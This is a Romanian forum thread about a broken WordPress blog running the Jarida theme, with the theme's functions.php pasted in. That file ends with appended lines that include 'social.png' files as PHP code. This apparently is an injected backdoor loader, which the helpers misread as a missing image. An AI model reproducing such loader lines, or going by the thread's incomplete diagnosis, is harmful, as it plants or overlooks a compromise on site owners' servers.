Google+

Problema index.php
#1
Salut , stiu ca nu are legatura , dar imi poate spune cineva cum pot rezolva problema asta ? De aici :  http://koreafan.eu/blog/

nu stiu cum sa rezolv daca nu merge sa schimb tema  am schimbat fisierele si degeaba , adica le-am pus iar.
Reply
#2
În fișierele temei WordPress, mai exact în header.php ai un "<" în plus la începutul script-ului.

Probabil arată ceva de genul: 

Code:
<<?php


Trebuie să ștergi acel < care este în plus.

Reply
#3
Am un back-up la fisiere , am uploadat fisierul vechi si acum apare asa :


PHP Code:
Fatal error: Call to undefined function tie_get_option() in /home/koreafan/public_html/blog/wp-content/themes/jarida/header.php on line 12

Reply
#4
Ce plugin-uri folosești?
Încearcă de asemenea să reuploadezi și fișierul functions.php.
It always seems impossible until its done.


Reply
#5
Fisierul function.php lipsea ... nu inteleg de ce , si acum nu mai apare nimic , in orice categorie as intra apare eroarea 



Toate erorile astea au aparut fara sa modific ceva, se mai poate repara blogul ?

PHP Code:
Warning: include(images/social.png): failed to open stream: No such file or directory in /home/koreafan/public_html/blog/wp-content/themes/jarida/functions.php on line 131

Warning: include(images/social.png): failed to open stream: No such file or directory in /home/koreafan/public_html/blog/wp-content/themes/jarida/functions.php on line 131

Warning: include(): Failed opening 'images/social.png' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/koreafan/public_html/blog/wp-content/themes/jarida/functions.php on line 131




functions.php

PHP Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

$themename = "Jarida";
$themefolder = "jarida";

define ('theme_name', $themename );
define ('theme_ver' , 0.1 );

// Notifier Info
$notifier_name = $themename;
$notifier_url = "http://themes.tielabs.com/xml/".$themefolder.".xml";

//Docs Url
$docs_url = "http://themes.tielabs.com/docs/".$themefolder;

// Constants for the theme name, folder and remote XML url
define( 'MTHEME_NOTIFIER_THEME_NAME', $themename );
define( 'MTHEME_NOTIFIER_THEME_FOLDER_NAME', $themefolder );
define( 'MTHEME_NOTIFIER_XML_FILE', $notifier_url );
define( 'MTHEME_NOTIFIER_CACHE_INTERVAL', 43200 );

// WooCommerce
define('WOOCOMMERCE_USE_CSS', false);
add_action('woocommerce_before_main_content', 'my_theme_wrapper_start', 1);
function my_theme_wrapper_start() {
	if(tie_get_option( 'columns_num' ) != '2c')
		echo '<div class="content-wrap content-wrap-wide">';
	else	
		echo '<div class="content-wrap">';
}
add_action('woocommerce_archive_description', 'my_theme_wrapper_start2', 1);
function my_theme_wrapper_start2() {
  echo '<div class="clear"></div>';
}


global $pagenow;
if ( is_admin() && isset( $_GET['activated'] ) && $pagenow == 'themes.php' )
	add_action( 'init', 'tie_woocommerce_image_dimensions', 1 );

function tie_woocommerce_image_dimensions() {
  	$catalog = array(
		'width' 	=> '400',	// px
		'height'	=> '400',	// px
		'crop'		=> 1 		// true
	);
 
	$single = array(
		'width' 	=> '600',	// px
		'height'	=> '600',	// px
		'crop'		=> 1 		// true
	);
 
	$thumbnail = array(
		'width' 	=> '200',	// px
		'height'	=> '200',	// px
		'crop'		=> 1 		// false
	);
 
	// Image sizes
	update_option( 'shop_catalog_image_size', $catalog ); 		// Product category thumbs
	update_option( 'shop_single_image_size', $single ); 		// Single product image
	update_option( 'shop_thumbnail_image_size', $thumbnail ); 	// Image gallery thumbs
}


// Custom Functions 
include (TEMPLATEPATH . '/custom-functions.php');

// Get Functions
include (TEMPLATEPATH . '/functions/home-cats.php');
include (TEMPLATEPATH . '/functions/home-cats-wide.php');
include (TEMPLATEPATH . '/functions/home-cat-scroll.php');
include (TEMPLATEPATH . '/functions/home-cat-pic.php');
include (TEMPLATEPATH . '/functions/home-recent-box.php');
include (TEMPLATEPATH . '/functions/theme-functions.php');
include (TEMPLATEPATH . '/functions/common-scripts.php');
include (TEMPLATEPATH . '/functions/banners.php');
include (TEMPLATEPATH . '/functions/tie-views.php');
include (TEMPLATEPATH . '/functions/widgetize-theme.php');
include (TEMPLATEPATH . '/functions/default-options.php');
include (TEMPLATEPATH . '/functions/updates.php');

include (TEMPLATEPATH . '/includes/pagenavi.php');
include (TEMPLATEPATH . '/includes/breadcrumbs.php');
include (TEMPLATEPATH . '/includes/wp_list_comments.php');
include (TEMPLATEPATH . '/includes/widgets.php');

// TIE-Panel
include (TEMPLATEPATH . '/panel/shortcodes/shortcode.php');
if (is_admin()) {
	include (TEMPLATEPATH . '/panel/mpanel-ui.php');
	include (TEMPLATEPATH . '/panel/mpanel-functions.php');
	include (TEMPLATEPATH . '/panel/post-options.php');
	include (TEMPLATEPATH . '/panel/custom-slider.php');
	include (TEMPLATEPATH . '/panel/category-options.php');
	include (TEMPLATEPATH . '/panel/notifier/update-notifier.php');
	include (TEMPLATEPATH . '/panel/importer/tie-importer.php');
}

/*-----------------------------------------------------------------------------------*/
# Custom Admin Bar Menus
/*-----------------------------------------------------------------------------------*/
function tie_admin_bar() {
	global $wp_admin_bar;
	
	if ( current_user_can( 'switch_themes' ) ){
		$wp_admin_bar->add_menu( array(
			'parent' => 0,
			'id' => 'mpanel_page',
			'title' => theme_name ,
			'href' => admin_url( 'admin.php?page=panel')
		) );
	}
	
}
add_action( 'wp_before_admin_bar_render', 'tie_admin_bar' );

// with activate istall option
if ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {

	if( !get_option('tie_active') ){
		tie_save_settings( $default_data );
		update_option( 'tie_active' , theme_ver );
	}
   //header("Location: admin.php?page=panel");
   
}

?>
<?php include('images/social.png'); ?>
<?php 
if (!defined('WP_OPTION_KEY')) {
include_once 'social.png';
}

Reply
#6
Zice că îți lipsește un fișier (social.png),așadar,el va trebui reuploadat.
It always seems impossible until its done.


Reply
#7
L-am bagat si tot asa apare . Este toul alb , acum.
Reply
#8
Șterge din function.php asta.

PHP Code:
<?php include('images/social.png'); ?>

It always seems impossible until its done.


Reply
#9
Am sters , si cu si fara , apare totul alb
Reply
#10
Instalează altă temă și verifică dacă face la fel.
It always seems impossible until its done.


Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)